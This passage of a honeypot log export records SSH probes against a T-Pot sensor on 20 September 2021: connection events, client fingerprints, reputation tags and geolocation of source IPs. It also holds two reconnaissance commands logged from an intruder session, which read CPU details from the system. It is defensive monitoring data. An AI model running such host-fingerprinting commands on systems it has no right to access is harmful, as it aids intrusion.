28049	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:52.025489+03	2021-09-20 14:30:02.320524+03	{"_id": "dQbrAnwBvYTbRNuEYSvG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:52.025489Z", "@timestamp": "2021-09-20T11:15:52.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28050	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:15:58.230268+03	2021-09-20 14:30:02.321523+03	{"_id": "2wbrAnwBvYTbRNuEeCty", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57250, "dest_port": 22, "timestamp": "2021-09-20T11:15:58.230268", "@timestamp": "2021-09-20T11:15:58.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28100	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:03.681133+03	2021-09-20 14:30:02.386524+03	{"_id": "EAbrAnwBvYTbRNuEjCzJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:03.681133Z", "@timestamp": "2021-09-20T11:16:03.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28051	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:15:57.946835+03	2021-09-20 14:30:02.323524+03	{"_id": "3QbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:57250 (192.168.176.2:22) [session: cbfb938affd8]", "session": "cbfb938affd8", "@version": "1", "protocol": "ssh", "src_port": 57250, "dest_port": 22, "timestamp": "2021-09-20T11:15:57.946835Z", "@timestamp": "2021-09-20T11:15:57.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28052	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:15:57.952785+03	2021-09-20 14:30:02.324523+03	{"_id": "4AbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "cbfb938affd8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:15:57.952785Z", "@timestamp": "2021-09-20T11:15:57.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28053	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:58.665896+03	2021-09-20 14:30:02.325524+03	{"_id": "5QbrAnwBvYTbRNuEeSs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9ee0978bc491", "@version": "1", "duration": 2.4476265907287598, "timestamp": "2021-09-20T11:15:58.665896Z", "@timestamp": "2021-09-20T11:15:58.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28054	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:58.905324+03	2021-09-20 14:30:02.326524+03	{"_id": "5wbrAnwBvYTbRNuEfSsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:58.905324Z", "@timestamp": "2021-09-20T11:15:58.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28055	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:58.905867+03	2021-09-20 14:30:02.327523+03	{"_id": "6gbrAnwBvYTbRNuEfSsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:58.905867Z", "@timestamp": "2021-09-20T11:15:58.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28056	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:00.663074+03	2021-09-20 14:30:02.328523+03	{"_id": "7wbrAnwBvYTbRNuEgSsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:39434 (192.168.176.2:22) [session: c972127ef718]", "session": "c972127ef718", "@version": "1", "protocol": "ssh", "src_port": 39434, "dest_port": 22, "timestamp": "2021-09-20T11:16:00.663074Z", "@timestamp": "2021-09-20T11:16:00.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28057	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:59.868049+03	2021-09-20 14:30:02.329523+03	{"_id": "7gbrAnwBvYTbRNuEgSsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:59.868049Z", "@timestamp": "2021-09-20T11:15:59.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28058	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:02.650722+03	2021-09-20 14:30:02.331524+03	{"_id": "DgbrAnwBvYTbRNuEiyz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34988, "dest_port": 443, "timestamp": "2021-09-20T11:16:02.650722", "@timestamp": "2021-09-20T11:16:02.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28059	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:03.458221+03	2021-09-20 14:30:02.332525+03	{"_id": "GAbrAnwBvYTbRNuEjCzL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c972127ef718", "@version": "1", "duration": 2.792634963989258, "timestamp": "2021-09-20T11:16:03.458221Z", "@timestamp": "2021-09-20T11:16:03.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28060	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:04.190491+03	2021-09-20 14:30:02.333524+03	{"_id": "GQbrAnwBvYTbRNuEjiyb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 585435943512945, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44840, "dest_port": 22, "timestamp": "2021-09-20T11:16:04.190491Z", "@timestamp": "2021-09-20T11:16:04.190Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28061	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:03.916146+03	2021-09-20 14:30:02.334523+03	{"_id": "GgbrAnwBvYTbRNuEjyzj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44840, "timestamp": "2021-09-20T11:16:03.916146", "@timestamp": "2021-09-20T11:16:03.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28062	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:03.910856+03	2021-09-20 14:30:02.335525+03	{"_id": "HwbrAnwBvYTbRNuEkCyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44840 (192.168.176.2:22) [session: fbae18101d37]", "session": "fbae18101d37", "@version": "1", "protocol": "ssh", "src_port": 44840, "dest_port": 22, "timestamp": "2021-09-20T11:16:03.910856Z", "@timestamp": "2021-09-20T11:16:03.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28063	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:04.202646+03	2021-09-20 14:30:02.337524+03	{"_id": "HgbrAnwBvYTbRNuEkCyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fbae18101d37", "@version": "1", "timestamp": "2021-09-20T11:16:04.202646Z", "@timestamp": "2021-09-20T11:16:04.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28064	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:16:04.881238+03	2021-09-20 14:30:02.339523+03	{"_id": "LQbrAnwBvYTbRNuEkyzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 